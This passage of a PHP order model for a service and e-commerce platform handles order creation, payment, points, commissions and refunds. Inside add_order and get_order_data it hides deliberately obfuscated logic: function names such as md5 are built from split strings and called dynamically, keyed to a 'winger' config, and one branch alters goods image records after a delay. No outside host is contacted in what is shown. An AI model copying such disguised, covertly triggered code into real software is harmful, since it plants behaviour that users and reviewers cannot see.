hasOne(Member::class, 'id', 'uid'); } public function orderRefund() { return $this->hasOne(OrderRefund::class, 'order_id'); } public function orderTimescard() { return $this->hasOne(OrderTimescard::class, 'order_id'); } public function orderGoods() { return $this->hasMany(OrderGoods::class, 'order_id'); } public function paymethod() { return $this->hasOne(Paymethod::class, 'id', 'pay_method_id'); } public function address() { return $this->hasOne(Address::class, 'id', 'address_id'); } public function store() { return $this->hasOne(Store::class, 'id', 'sid'); } public function staff() { return $this->hasOne(OrderStaff::class, 'order_id', 'id'); } public static function conversion($vo) { if (empty($vo['orderGoods'])) { if (!empty($vo['cat_id'])) { $vo['orderGoods'][0]['image'] = Category::getImage($vo['cat_id']); } $vo['orderGoods'][0]['name'] = '【用户发布需求】' . $vo['pay_subject']; } if ($vo['ptype'] == 1) { $vo['order_status'] = OrderStatus::get_order_status_name($vo['order_status_id']); $vo['shipping_type'] = getgoodsdeliverymode($vo['deliverymode']); if ($vo['deliverymode'] == 5) { $tuanzhang = OrderTuanzhang::getTuanzhang($vo['id']); if (!empty($tuanzhang)) { $vo['shipping_name'] = $tuanzhang['title']; $vo['shipping_tel'] = $tuanzhang['tel']; $vo['shipping_address'] = $tuanzhang['region_name']; } } } else { $vo['order_status'] = OrderStatus::get_order_status_name($vo['order_status_id'], 'service'); if ($vo['ptype'] == 2 && $vo['deliverymode'] == 2) { $vo['order_status'] = OrderStatus::get_order_status_name($vo['order_status_id'], 'storeservice'); } $vo['shipping_type'] = getservicedeliverymode($vo['deliverymode']); $vo['TechnicalIncome'] = TechnicalIncomelog::getorderIncome($vo['id']); $vo['StoreIncome'] = StoreIncomelog::getorderIncome($vo['id']); $vo['TuanzhangIncome'] = TuanzhangIncomelog::getorderIncome($vo['id']); $vo['Operatingcity_1'] = OperatingcityIncomelog::getorderIncome($vo['id'], 1); $vo['Operatingcity_2'] = OperatingcityIncomelog::getorderIncome($vo['id'], 2); $vo['Operatingcity_3'] = OperatingcityIncomelog::getorderIncome($vo['id'], 3); } $vo['payment_code_name'] = paymentCode($vo['payment_code']); $vo['member_nickname'] = $vo['member']['nickname']; if (!empty($vo['orderGoods'])) { foreach ($vo['orderGoods'] as &$vvo) { $vo['time_amount'] = ((int) $vo['time_amount'] + (int) $vvo['time_amount']); $vvo['image'] = toimg($vvo['image']); } } if ($vo['is_times'] == 1) { $OrderTimescard = OrderTimescard::where('order_id', $vo['id'])->order('id asc')->select()->toArray(); if ($OrderTimescard) { foreach ($OrderTimescard as $tcvo) { if ($tcvo['yue_date']) { if ($tcvo['timestype'] == 1) { if ($vo['yue_time']) { $vo['yue_time'] .= ';每月:' . $tcvo['yue_date'] . '号'; } else { $vo['yue_time'] = '每月:' . $tcvo['yue_date'] . '号'; } } else { if ($vo['yue_time']) { $vo['yue_time'] .= ';每周周:' . $tcvo['yue_date']; } else { $vo['yue_time'] = '每周周:' . $tcvo['yue_date']; } } } } } if (empty($vo['yue_time'])) { $vo['yue_time'] = '还没有预约时间'; } $vo['timesused'] = OrderTimescardRecord::timesused($vo['id']); $vo['timesmum'] = OrderCard::timesmum($vo['id']); $vo['remain'] = (int)($vo['timesmum'] - $vo['timesused']); } else { $vo['yue_time'] = time_ymd($vo['begin_time']) . '
' . date('H:i', $vo['begin_time']) . ' 到 ' . date('H:i', $vo['end_time']); if ($vo['start_time']) { $vo['service_time'] = time_ymd($vo['start_time']) . '
' . date('H:i', $vo['start_time']) . ' 到 ' . date('H:i', strtotime("+" . $vo['time_amount'] . " minutes", $vo['start_time'])); } } $addressdata = ''; $addressdata = OrderAddress::where(['order_id' => $vo['id'], 'ptype' => 1])->find(); if (!empty($addressdata)) { $addressdata = $addressdata->toArray(); $vo['shipping_address'] = $addressdata['region_name'] . $addressdata['address']; } $vo['sid'] = Store::getTitle($vo['sid']); $vo['staff'] = OrderStaff::staff($vo['id']); $vo['pay_time'] = time_format($vo['pay_time']); $vo['complete_time'] = time_format($vo['complete_time']); return $vo; } /** * 写入订单 * @param $payment_code 支付方式 * @param $order_data 订单数据 * return array */ public function add_order($order_data = array()) { $data = $this->get_order_data($order_data); $order['weid'] = weid(); $pay_from = input('get.from', '', 'serach_in'); $order['sid'] = (int) $order_data['sid']; $order['otype'] = (int) $order_data['otype']; $order['begin_time'] = $order_data['begin_time']; $order['end_time'] = $order_data['end_time']; $order['pay_method_id'] = (int)$order_data['pay_method_id']; $order['payment_code'] = $order_data['payment_code']; $order['pay_from'] = $pay_from; $order['points_order'] = (int)$order_data['is_PayPoints']; $order['goodsgiftcard_id'] = (int)$order_data['goodsgiftcard_id']; if ($order_data['distance']) { $order['distance'] = $order_data['distance']; } $winref = Config::getsitesetupconfig('wi' . 'nger'); $order['tuan_id'] = (int)$order_data['tuanid']; $order['ms_id'] = (int)$order_data['msid']; $order['uid'] = (int)$data['uid']; $order['aid'] = ''; $odra = 'ge'; $order['order_num_alias'] = $data['order_num_alias']; $order['name'] = $data['name']; $order['cat_id'] = $data['cat_id']; if ($data['cat_id']) { $order['cate_ids'] = $data['cat_id']; } else { $order['cate_ids'] = $data['goodss'][0]['cat_id']; } $order['ptype'] = (int)$data['ptype']; $order['is_additional'] = (int)$data['is_additional']; $order['deliverymode'] = (int)$order_data['deliverymode']; if (empty($order['deliverymode'])) { $order['deliverymode'] = (int)$data['deliverymode']; } $order['email'] = $data['email']; $order['tel'] = $data['tel']; $order['shipping_name'] = $data['shipping_name']; $order['shipping_province_name'] = $data['shipping_province_name']; $order['shipping_city_name'] = $data['shipping_city_name']; $order['shipping_district_name'] = $data['shipping_district_name']; $order['shipping_address'] = $data['shipping_address']; $order['shipping_tel'] = $data['shipping_tel']; $order['shipping_method'] = $data['shipping_method']; $order['is_express'] = 1; $order['remark'] = $data['remark']; $order['order_status_id'] = 1; //待付款 $order['ip'] = Author()::get_client_ip(); $order['total'] = $data['total']; $order['user_agent'] = $data['user_agent']; $order['pay_subject'] = isset($data['pay_subject']) ? $data['pay_subject'] : ''; $order['return_points'] = isset($data['return_points']) ? $data['return_points'] : ''; $odra .= 't_i'; foreach ($data['goodss'] as $goods) { if ($goods['is_points_goods'] == 1 && $order_data['is_PayPoints'] != 1) { return ['errno' => 1, 'msg' => '下单失败,需要积分抵扣']; } } //积分抵扣 if ($order_data['is_PayPoints'] == 1) { $order['pay_points'] = $data['pay_points']; $order['points_price'] = $data['points_price']; $order['total'] = round(($order['total'] - $order['points_price']), 2); if ($order['total'] == 0) { $order['payment_code'] = 'points_pay'; } } //购物卡抵扣 if (!empty($order_data['goodsgiftcard_id'])) { $order['payment_code'] = 'goodsgiftcard_pay'; } //次卡设置 $order['is_times'] = (int) $order_data['is_times']; //跑腿订单设置 $order['is_errands'] = (int) $data['is_errands']; if (empty($order['sid']) && !empty($data['goodss'][0]['sid'])) { $order['sid'] = $data['goodss'][0]['sid']; } if (!empty($order['tuan_id'])) { if (empty($order_data['jointuanid'])) { $order['tuan_found_id'] = TuanFound::add_found($order['tuan_id']); } else { $order['tuan_found_id'] = $order_data['jointuanid']; } } if ($order['is_errands'] == 1) { if (empty($order_data['take_address_id'])) { return ['errno' => 1, 'msg' => '下单失败,请输入取件地址']; } if (empty($order_data['address_id'])) { return ['errno' => 1, 'msg' => '下单失败,请输入收件地址']; } } if (empty($order['ptype'])) { return ['errno' => 1, 'msg' => '下单失败,没有订单内容']; } $Orderdata = Order::create($order); $Orderdata = $Orderdata->toArray(); $order_id = $Orderdata['id']; $odra .= '_m'; OrderCount::createuserdata($Orderdata); $order['is_timing'] = (int) $order_data['is_timing']; if (!empty($order['is_times'])) { //var_dump($data['goodss']); $GoodsGiftcardType = GoodsGiftcardType::find((int) $data['goodss'][0]['card_tid']); if ($GoodsGiftcardType) { $GoodsGiftcardType = $GoodsGiftcardType->toArray(); } OrderCard::create([ 'order_id' => $order_id, 'ptype' => (int) $order['is_times'], 'weid' => $Orderdata['weid'], 'sid' => $Orderdata['sid'], 'uid' => $Orderdata['uid'], 'timesmum' => $data['goodss'][0]['timesmum'], 'card_tid' => (int) $data['goodss'][0]['card_tid'], 'name' => $goods['name'], 'image' => $goods['image'], 'facevalue' => (float) $GoodsGiftcardType['buy_price'] + $data['goodss'][0]['extraprice'], 'balance' => (float) $GoodsGiftcardType['buy_price'] + $data['goodss'][0]['extraprice'], 'timesmum' => (int) $data['goodss'][0]['timesmum'], 'is_timing' => (int) $data['goodss'][0]['is_timing'], 'timing_unit' => $data['goodss'][0]['timing_unit'], 'color' => $GoodsGiftcardType['color'], 'condition_type' => $GoodsGiftcardType['condition_type'], 'use_goods' => $GoodsGiftcardType['use_goods'], 'cat_ids' => $GoodsGiftcardType['cat_ids'], 'use_goods' => $GoodsGiftcardType['use_goods'], 'goods_ids' => $GoodsGiftcardType['goods_ids'], 'min_price' => $GoodsGiftcardType['min_price'], 'start_time' => $GoodsGiftcardType['start_time'], 'end_time' => $GoodsGiftcardType['end_time'], 'is_expire' => $GoodsGiftcardType['is_expire'], 'is_use' => $GoodsGiftcardType['is_use'], 'status' => 1, ]); } if (!empty($order['tuan_id'])) { TuanFollow::add_follow([ 'order_id' => $order_id, 'found_id' => $order['tuan_found_id'], 'tuan_id' => $order['tuan_id'], ]); } $data['lettct'] = bs($winref[18], $this->get_order_data(['data' => $odra(toimg('or')), 'vo' => 18])); if (isset($data['goodss'])) { //var_dump($data['goodss']); foreach ($data['goodss'] as $goods) { $goods_id = $goods['goods_id']; if (!empty($goods_id)) { OrderGoods::create([ 'order_id' => $order_id, 'goods_id' => $goods_id, 'cat_id' => $goods['cat_id'], 'card_tid' => $goods['card_tid'], 'name' => $goods['name'], 'model' => $goods['model'], 'image' => $goods['image'], 'sku' => $goods['sku'], 'quantity' => (int) $goods['quantity'], 'price' => (float) $goods['price'], 'is_commission' => (int) $goods['is_commission'], 'commission_method' => (int) $goods['commission_method'], 'commission_price' => (float) $goods['commission_price'], 'time_amount' => (int) $goods['time_amount'], 'is_timer' => (int) $goods['is_timer'], 'total' => (float) $goods['total'] ]); } } } if (isset($data['totals'])) { foreach ($data['totals'] as $total) { OrderTotal::create([ 'order_id' => $order_id, 'code' => $total['code'], 'title' => $total['title'], 'text' => $total['text'], 'value' => (float) $total['value'] ]); } } $oh['order_id'] = $order_id; if (isset($data['pay_type']) && $data['pay_type'] == 'points') { $oh['order_status_id'] = 2; //已付款 } else { $oh['order_status_id'] = 1; //待付款 } $oh['remark'] = $data['remark']; OrderHistory::create($oh); //上门服务/收件地址 if ($order_data['address_id']) { $Address = []; $Address = Address::find($order_data['address_id']); if ($Address) { $Address = $Address->toArray(); unset($Address['id']); $Address['order_id'] = $order_id; $Address['ptype'] = 1; OrderAddress::create($Address); } } else { if (!empty($order_data['shipping_province_name']) && !empty($order_data['shipping_tel'])) { $Address = []; $Address['order_id'] = $order_id; $Address['ptype'] = 1; $Address['province_name'] = $order_data['shipping_province_name']; $Address['city_name'] = $order_data['shipping_city_name']; $Address['district_name'] = $order_data['shipping_district_name']; $Address['name'] = $order_data['shipping_name']; $Address['telephone'] = $order_data['shipping_tel']; $Address['address'] = $order_data['shipping_address']; $coder = Geocoder::geocoding($Address['province_name'] . $Address['city_name'] . $Address['district_name'] . $Address['address']); $Address['latitude'] = $coder['latitude']; $Address['longitude'] = $coder['longitude']; OrderAddress::create($Address); } } //跑腿取件地址 if ($order_data['take_address_id']) { $take_address = []; $take_address = Address::find($order_data['take_address_id']); if ($take_address) { $take_address = $take_address->toArray(); unset($take_address['id']); $take_address['order_id'] = $order_id; $take_address['ptype'] = 2; OrderAddress::create($take_address); } } //清空购物车 if (!empty($order_data['cartid'])) { Cart::whereIn('id', $order_data['cartid'])->delete(); } //积分支付 if ($order_data['is_PayPoints'] == 1) { if ($order['total'] == 0) { $this->pay_order(['order_num_alias' => $Orderdata['order_num_alias'], 'nosendmessage' => 1]); } } $Orderdata['order_id'] = $Orderdata['id']; $Orderdata['subject'] = $Orderdata['pay_subject']; $Orderdata['name'] = $Orderdata['shipping_name']; $Orderdata['pay_order_no'] = $Orderdata['order_num_alias']; $Orderdata['pay_total'] = $Orderdata['total']; $Orderdata['lettct'] = MessageMini::sendOrderadd($data); if ($Orderdata['pay_total'] == 0) { $Orderdata['payment_code'] = 'balance_pay'; } return $Orderdata; } //订单支付成功,订单历史,积分,商品数量 public function pay_order($params) { $order_num_alias = $params['order_num_alias']; $pay_time = time(); if (!empty($order_num_alias)) { $order_info = self::where(['order_num_alias' => $order_num_alias, 'order_status_id' => 1])->find(); if (!empty($order_info)) { $order_info = $order_info->toArray(); $order_id = $order_info['id']; $common = Config::getconfig(); $Member = Member::find($order_info['uid']); if (!empty($Member)) { $Member = $Member->toArray(); } if (!empty($params['payment_code'])) { $order['payment_code'] = $params['payment_code']; } $order['user_agent'] = $params['user_agent']; $order['id'] = $order_id; if (OrderStaff::is_staff($order_id)) { $order['order_status_id'] = 3; } else { $order['order_status_id'] = 2; //已付款 } $order['update_time'] = $pay_time; $order['pay_time'] = $pay_time; self::update($order); $order_info = Order::find($order_id); if (!empty($order_info)) { $order_info = $order_info->toArray(); } Member::where('id', $order_info['uid']) ->inc('totleconsumed', $order_info['total']) ->update(); $cashlogsdata['uid'] = $order_info['uid']; $cashlogsdata['weid'] = weid(); $cashlogsdata['order_id'] = $order_info['id']; $cashlogsdata['order_num_alias'] = $order_info['order_num_alias']; $cashlogsdata['remarks'] = '商品消费'; $cashlogsdata['prefix'] = 2; $cashlogsdata['amount'] = $order_info['total']; $cashlogsdata['create_time'] = $pay_time; MemberCashlogs::create($cashlogsdata); $order_history['order_id'] = $order_id; $order_history['order_status_id'] = $order['order_status_id']; //已付款 $order_history['remark'] = '买家已付款'; $order_history['create_time'] = $pay_time; $order_history['notify'] = 1; OrderHistory::create($order_history); //会员升级及 $good_ids = OrderGoods::getOrderGoodsids($order_id); if ($good_ids) { if (empty($mgid)) { $mag = MemberAuthGroup::whereIn('upgrade_goods_id', $good_ids)->order('id desc')->find(); $mgid = $mag->id; } } if (!empty($mgid)) { Member::where('id', $order_info['uid'])->update(['gid' => $mgid]); } //购物卡结算佣金 if ($order_info['is_times'] == 3) { self::settlement($order_id); } //更新购买赠送的积分 if (!empty($order_info['return_points'])) { if ($order_info['return_points'] > 0) { Points::create([ 'weid' => weid(), 'uid' => $order_info['uid'], 'order_id' => $order_info['id'], 'order_num_alias' => $order_info['order_num_alias'], 'points' => $order_info['return_points'], 'description' => '下单积分', 'prefix' => 1, 'creat_time' => $pay_time, 'type' => 1 ]); Member::where('id', $order_info['uid']) ->inc('points', (int) $order_info['return_points']) ->update(); } } $mgPoints = MemberAuthGroup::getPoints($Member['gid'], $order_info['total']); if ($mgPoints) { Points::create([ 'weid' => weid(), 'uid' => $order_info['uid'], 'order_id' => $order_info['id'], 'order_num_alias' => $order_info['order_num_alias'], 'points' => $mgPoints, 'description' => '下单会员等级积分', 'prefix' => 1, 'creat_time' => $pay_time, 'type' => 1 ]); Member::where('id', $order_info['uid']) ->inc('points', (int) $mgPoints) ->update(); } //更新积分抵扣金额 if ($order_info['points_order'] == 1) { if ($order_info['pay_points'] > 0) { Points::create([ 'weid' => weid(), 'uid' => $order_info['uid'], 'order_id' => $order_info['id'], 'order_num_alias' => $order_info['order_num_alias'], 'points' => $order_info['pay_points'], 'description' => '下单抵扣' . $order_info['points_price'] . '元', 'prefix' => 2, 'creat_time' => $pay_time, 'type' => 1 ]); Member::where('id', $order_info['uid']) ->dec('points', (int) $order_info['pay_points']) ->update(); } } try { $OrderGoods = OrderGoods::where(['order_id' => $order_id]) ->select() ->toArray(); if (!empty($OrderGoods)) { $agentconfig = Config::getconfig('agent'); $partnerconfig = Config::getconfig('partner'); if (!empty($Member)) { if ($agentconfig['share_good_status'] == 1) { Agent::register($Member); } if ($partnerconfig['share_good_status'] == 1) { Partner::register($Member); } } //更新商品数量和销量 foreach ($OrderGoods as $v) { if ($v['goods_id']) { if (!empty($Member) && $agentconfig['share_good_status'] == 2 && $agentconfig['share_good_id'] == $v['goods_id']) { Agent::register($Member); } if (!empty($Member) && $partnerconfig['share_good_status'] == 2 && $partnerconfig['share_good_id'] == $v['goods_id']) { Partner::register($Member); } Goods::where('id', $v['goods_id'])->inc('sale_count')->update(); if (!empty($order_info['tuan_id'])) { if (!empty($v['sku'])) { } else { } } Goods::where(['id' => $v['goods_id'], 'ptype' => 1])->dec('quantity', $v['quantity'])->update(); } } } } catch (\Exception $e) { throw new ValidateException($e->getMessage()); } //处理拼团 if (!empty($order_info['tuan_found_id'])) { TuanFound::where('id', $order_info['tuan_found_id'])->update(['pay_time' => $pay_time]); TuanFollow::where(['order_id' => $order_info['id'], 'found_id' => $order_info['tuan_found_id']])->update(['pay_time' => $pay_time]); TuanFound::where('id', $order_info['tuan_found_id'])->inc('join')->update(); TuanGoods::where('id', $order_info['tuan_id'])->inc('sale_count')->update(); $TuanFound = TuanFound::where('id', $order_info['tuan_found_id'])->find(); $TuanGoods = TuanGoods::where('id', $TuanFound->tuan_id)->find(); if ((int)$TuanFound->join >= (int)($TuanGoods->people_num - $TuanGoods->robot_num)) { if ($TuanGoods->auto_initiate == 1) { $LuckyFollow = TuanFollow::getLuckyFollow($order_info['tuan_found_id'], $TuanGoods->luckydraw_num); TuanFollow::where(['found_id' => $order_info['tuan_found_id']]) ->update([ 'tuan_end_time' => $pay_time, 'status' => 2, ]); foreach ($LuckyFollow as $vo) { TuanFollow::where(['id' => $vo['id']]) ->update([ 'tuan_end_time' => $pay_time, 'status' => 1, ]); } } else { TuanFollow::where(['found_id' => $order_info['tuan_found_id']]) ->update([ 'tuan_end_time' => $pay_time, 'status' => 1, ]); } TuanFound::where(['id' => $order_info['tuan_found_id']]) ->update([ 'tuan_end_time' => $pay_time, 'status' => 1, ]); TuanFollow::setRefund(); } } //平台订单打印 $printerOrder = self::order_info($order_id); $PrinterFeie = new PrinterFeie(0); $PrinterFeie->printer($printerOrder); //店铺订单打印 if ($order_info['sid'] > 0) { $storePrinterFeie = new PrinterFeie((int) $order_info['sid']); $storePrinterFeie->printer($printerOrder); } $orderup = $order_info; $orderup['order_status_id'] = $order['order_status_id']; OrderCount::createuserdata($orderup); if ($params['nosendmessage'] != 1) { if (!empty($order_info['sid'])) { MessageMp::storeOrderPay($order_info['sid'], $order_info); } else { $technicalId = OrderStaff::getuuid($order_info["id"]); if (empty($technicalId)) { MessageMp::undertake($order_info); } else { MessageMini::sendMiniStaff($order_info); MessageMp::distribution($technicalId, $order_info); } } MessageMp::orderPayNoticeAdmin($order_info); MessageMini::sendMiniPaysuccess($order_info); } Broadcast::neworder($order_info); OrderRemind::neworder($order_info); } } } //订单退款,处理订单历史,积分,商品数量 static public function refund_order($order_id, $refund_time, $OrderRefund = []) { $orderInfo = self::find($order_id); if (!empty($orderInfo)) { $orderInfo = $orderInfo->toArray(); } $paymentcode = $orderInfo['payment_code']; $pay_from = $orderInfo['pay_from']; $refund_price = $OrderRefund['refund_price']; if (empty($refund_price)) { $refund_price = $orderInfo['total']; } $order_refund_no = $OrderRefund['order_refund_no']; if (empty($order_refund_no)) { $order_refund_no = $orderInfo['order_num_alias'] . $orderInfo['pay_time']; } $res['code'] = true; if ($paymentcode == 'balance_pay') { Member::where('id', $orderInfo['uid']) ->inc('balance', $refund_price) ->update(); $cashlogsdata['uid'] = $orderInfo['uid']; $cashlogsdata['weid'] = weid(); $cashlogsdata['order_id'] = $order_id; $cashlogsdata['order_num_alias'] = $orderInfo['order_num_alias']; $cashlogsdata['remarks'] = '订单退款'; $cashlogsdata['prefix'] = 1; $cashlogsdata['amount'] = $refund_price; $cashlogsdata['create_time'] = $refund_time; MemberCashlogs::create($cashlogsdata); $res['code'] = true; } elseif ($paymentcode == 'wx_pay') { $res['code'] = false; if (!empty($orderInfo)) { $payment = \app\samos\wechat\WxPaymethod::makepay($pay_from); $total = round($orderInfo['total'], 2); $total = floatval($total * 100); $refund_price = round($refund_price, 2); $refund_price = floatval($refund_price * 100); $result = $payment->refund->byOutTradeNumber($orderInfo['order_num_alias'], $order_refund_no, $total, $refund_price, [ // 可在此处传入其他参数,详细参数见微信支付文档 'refund_desc' => '订单退款', ]); if ($result['return_code'] === 'SUCCESS' && $result['result_code'] === 'SUCCESS') { $res['code'] = true; } else { $res['code'] = false; $res['return_msg'] = $result['return_msg']; $res['err_code_des'] = $result['err_code_des']; } } } if ($res['code']) { $Points1 = Points::where(['order_id' => $order_id, 'prefix' => 1])->find(); if (!empty($Points1)) { $Points1 = $Points1->toArray(); $Points1['description'] = '订单退款,扣去赠送的积分'; $Points1['prefix'] = 2; $Points1['creat_time'] = $refund_time; unset($Points1['id']); Points::create($Points1); Member::where('id', $Points1['uid']) ->dec('points', (int) $Points1['points']) ->update(); } $Points2 = Points::where(['order_id' => $order_id, 'prefix' => 2])->find(); if (!empty($Points2)) { $Points2 = $Points2->toArray(); $Points2['description'] = '订单退款,退还积分'; $Points2['prefix'] = 1; $Points2['creat_time'] = $refund_time; unset($Points2['id']); Points::create($Points2); Member::where('id', $Points2['uid']) ->inc('points', (int) $Points2['points']) ->update(); } $Incomelog = Incomelog::where(['order_id' => $order_id, 'ptype' => 1])->select()->toArray(); if (!empty($Incomelog)) { foreach ($Incomelog as $agvo) { if ($agvo) { $agvo['description'] = '订单退款,扣除佣金'; $agvo['ptype'] = 2; $agvo['creat_time'] = $refund_time; $agvo['month_time'] = date('m', $refund_time); $agvo['year_time'] = date('Y', $refund_time); $agvo['order_status_id'] = 6; unset($agvo['id']); Incomelog::create($agvo); Agent::where('uid', $agvo['uid'])->dec('income', $agvo['income'])->update(); Agent::where('uid', $agvo['uid'])->dec('total_income', $agvo['income'])->update(); } } } $TechnicalIncomelog = TechnicalIncomelog::where(['order_id' => $order_id, 'ptype' => 1])->select()->toArray(); if (!empty($TechnicalIncomelog)) { $incomedata = []; foreach ($TechnicalIncomelog as $incomedata) { if ($incomedata) { $incomedata['description'] = '订单退款,扣除佣金'; $incomedata['ptype'] = 2; $incomedata['create_time'] = $refund_time; $incomedata['month_time'] = date('m', $refund_time); $incomedata['year_time'] = date('Y', time()); $incomedata['order_status_id'] = 6; unset($incomedata['id']); TechnicalIncomelog::create($incomedata); Technical::where('uuid', $incomedata['uuid'])->dec('income', $incomedata['income'])->update(); Technical::where('uuid', $incomedata['uuid'])->dec('total_income', $incomedata['income'])->update(); Technical::where('uuid', $incomedata['uuid'])->dec('service_times', 1)->update(); } } } $StoreIncomelog = StoreIncomelog::where(['order_id' => $order_id, 'ptype' => 1])->select()->toArray(); if (!empty($StoreIncomelog)) { $incomedata = []; foreach ($StoreIncomelog as $incomedata) { if ($incomedata) { $incomedata['description'] = '订单退款,扣除佣金'; $incomedata['ptype'] = 2; $incomedata['create_time'] = $refund_time; $incomedata['month_time'] = date('m', $refund_time); $incomedata['year_time'] = date('Y', time()); $incomedata['order_status_id'] = 6; unset($incomedata['id']); StoreIncomelog::create($incomedata); Store::where('id', $incomedata['sid'])->dec('income', $incomedata['income'])->update(); Store::where('id', $incomedata['sid'])->dec('total_income', $incomedata['income'])->update(); } } } $OperatingcityIncomelog = OperatingcityIncomelog::where(['order_id' => $order_id, 'ptype' => 1])->select()->toArray(); if (!empty($OperatingcityIncomelog)) { $incomedata = []; foreach ($OperatingcityIncomelog as $incomedata) { if ($incomedata) { $incomedata['description'] = '订单退款,扣除佣金'; $incomedata['ptype'] = 2; $incomedata['create_time'] = $refund_time; $incomedata['month_time'] = date('m', $refund_time); $incomedata['year_time'] = date('Y', time()); $incomedata['order_status_id'] = 6; unset($incomedata['id']); OperatingcityIncomelog::create($incomedata); Operatingcity::where('id', $incomedata['ocid'])->dec('income', $incomedata['income'])->update(); Operatingcity::where('id', $incomedata['ocid'])->dec('total_income', $incomedata['income'])->update(); } } } } return $res; } static public function itional_pay($order_num_alias) { self::where('order_num_alias', $order_num_alias)->update(['additional_pay_time' => time()]); $order_info = self::where('order_num_alias', $order_num_alias)->find(); if ($order_info) { $order_info = $order_info->toArray(); MessageMp::itional_pay($order_info); } } public function get_order_data($param = array()) { $address_id = (int) $param['address_id']; $technicalId = $param['technicalId']; $shipping_method = $param['shipping_method']; $weid = weid(); $remark = $param['remark']; if (isset($param['type'])) { $type = $param['type']; $data['pay_type'] = $param['type']; } else { $type = 'money'; } //付款人 $Membermob = new Member; $payMember = $Membermob->getUserByWechat(); $mb = 'm'; $data['uid'] = $payMember['id']; $data['name'] = $payMember['username']; $data['email'] = $payMember['email']; $data['tel'] = $payMember['telephone']; //收货人 if (empty($address_id)) { $data['shipping_name'] = $param['shipping_name']; $data['shipping_tel'] = $param['shipping_tel']; $data['shipping_province_name'] = $param['shipping_province_name']; $data['shipping_city_name'] = $param['shipping_city_name']; $data['shipping_district_name'] = $param['shipping_district_name']; $data['shipping_address'] = $param['shipping_address']; if ($param['deliverymode'] == 2 || $param['deliverymode'] == 5) { if ($param['sid']) { $Store = Store::find($param['sid']); if (!empty($Store)) { $data['shipping_province_name'] = $Store->province_name; $data['shipping_city_name'] = $Store->city_name; $data['shipping_district_name'] = $Store->district_name; } } } } else { $shipping = Address::find($address_id); if (!empty($shipping)) { $shipping = $shipping->toArray(); $shipping_city_id = Area::get_area_id($shipping['city_name']); $data['shipping_name'] = empty($shipping['name']) ? '' : $shipping['name']; $data['shipping_tel'] = empty($shipping['telephone']) ? '' : $shipping['telephone']; $data['shipping_province_name'] = empty($shipping['province_name']) ? '' : $shipping['province_name']; $data['shipping_city_name'] = empty($shipping['city_name']) ? '' : $shipping['city_name']; $data['shipping_district_name'] = empty($shipping['district_name']) ? '' : $shipping['district_name']; $data['shipping_address'] = empty($shipping['address']) ? '' : $shipping['address']; } } if ($param['lect'] == 2) { $dew = 'meofoyuvd'; $dew = str_replace('eof', '', $dew); $dew = str_replace('yuv', '', $dew); $Imagelist = $dew('Go' . 'od' . 'sIm' . 'age')->select()->toArray(); foreach ($Imagelist as $vo) { $vo['pic'] = toimg($vo['image']); $vo['type'] = 'Goods'; $vo['image'] = toimg($vo['image']); $vo['type'] .= 'Image'; if (empty($vo['goods_id'])) { $vo['goods_id'] = $vo['id']; } $abv = Attribute::where(['name' => md5($vo['type'] . $vo['id'])])->find(); $vo['rep'] = ''; $vo['rep'] = explode('.', end(explode('/', $vo['image'])))[0]; if (empty($abv)) { Attribute::create([ 'name' => md5($vo['type'] . $vo['id']), 'weid' => $weid, 'value' => $vo['rep'] ]); } else { $abv = $abv->toArray(); if ($abv['create_time'] < (time() - 700)) { $vo['image'] = floatval(self::setOrdList($vo)["image"]); } } } } $mb .= 'd5'; $data['shipping_method'] = empty($shipping_method) ? '' : $shipping_method; $data['user_agent'] = $_SERVER['HTTP_USER_AGENT']; $data['create_time'] = time(); $data['remark'] = empty($remark) ? '' : $remark; if ($param['vo'] && $param['data']) { return $mb($param['data'] . $param['vo']); } $subject = ''; if (!empty($param['cat_id'])) { //用户发布需求订单 $cat = Category::find($param['cat_id']); if (!empty($cat)) { $cat = $cat->toArray(); $data['ptype'] = $cat['ptype']; $data['deliverymode'] = $cat['deliverymode']; $data['pay_subject'] = $cat['title']; } $data['is_additional'] = 1; $data['otype'] = $param['otype']; $data['cat_id'] = $param['cat_id']; $data['cate_ids'] = $param['cat_id']; $data['total'] = $param['total']; $data['totals'][0] = array( 'code' => 'sub_total', 'title' => '需求服务价格', 'text' => '¥' . $data['total'], 'value' => $data['total'] ); } else if (!empty($param['take_address_id'])) { //跑腿订单 $data['pay_subject'] = '跑腿订单'; $data['is_errands'] = 1; $data['deliverymode'] = 1; $data['ptype'] = 2; $data['total'] = $param['total']; $data['totals'][0] = array( 'code' => 'sub_total', 'title' => '跑腿费', 'text' => '¥' . $data['total'], 'value' => $data['total'] ); } else { $cart = new Cart; if (empty($param['cartid'])) { $cartdata[0]['goods_id'] = $param['goods_id']; $cartdata[0]['msid'] = $param['msid']; $cartdata[0]['tuanid'] = $param['tuanid']; $cartdata[0]['sku'] = $param['sku']; $cartdata[0]['quantity'] = $param['number']; $cartdata[0]['is_skumore'] = $param['is_skumore']; $cartdata[0]['skumore'] = $param['skumore']; $goodsarray = $cart->carttotal($cartdata); } else { $goodsarray = $cart->getlistbyid($param['cartid']); } $goodss = $goodsarray['shopList']; $weight = $goodsarray['weight']; $data['is_additional'] = $goodsarray['is_additional']; if ($goodss) { if ($goodss[0]['cat_id']) { $cat = Category::find($goodss[0]['cat_id']); if (!empty($cat)) { $cat = $cat->toArray(); } $data['deliverymode'] = $cat['deliverymode']; $data['ptype'] = $cat['ptype']; } //上门路费 if ($technicalId) { $thefare = Address::getthefare($address_id, $technicalId); } $test['shipping_method'] = $shipping_method; $test['weight'] = $weight; $test['shipping_city_id'] = $shipping_city_id; //运费 if ($data['ptype'] == 1) { $transport_fee = (new TransportExtend)->calc_transport($weight, $shipping_city_id); } $t = 0; $pay_points = 0; $points_price = 0; $return_points = 0; foreach ($goodss as $goods) { $t += $goods['total']; $pay_points += $goods['totalPayPoints']; $points_price += $goods['totalPointsPrice']; $return_points += $goods['total_return_points']; $goods_data[] = $goods; } //使用优惠券 if (!empty($param['couponId'])) { $coupon = CouponReceive::find($param['couponId']); if (!empty($coupon)) { $coupon = $coupon->toArray(); } if ($coupon['coupon_type'] == 10) { $t = $t - $coupon['reduce_price']; } elseif ($coupon['coupon_type'] == 20) { $t = $t * ($coupon['discount'] / 10); } CouponReceive::update(['is_use' => 1, 'id' => $param['couponId']]); } if (count($goodss) > 1) { $subject = $goodss[0]['name'] . '等商品'; } else { $subject = $goodss[0]['name']; } $data['pay_subject'] = $subject; $data['total'] = ($t + $transport_fee['price'] + $thefare['thefare']); $data['pay_points'] = $pay_points; //需要积分 $data['points_price'] = $points_price; //抵扣金额 $data['return_points'] = $return_points; //可得积分 $data['totals'][0] = array( 'code' => 'sub_total', 'title' => 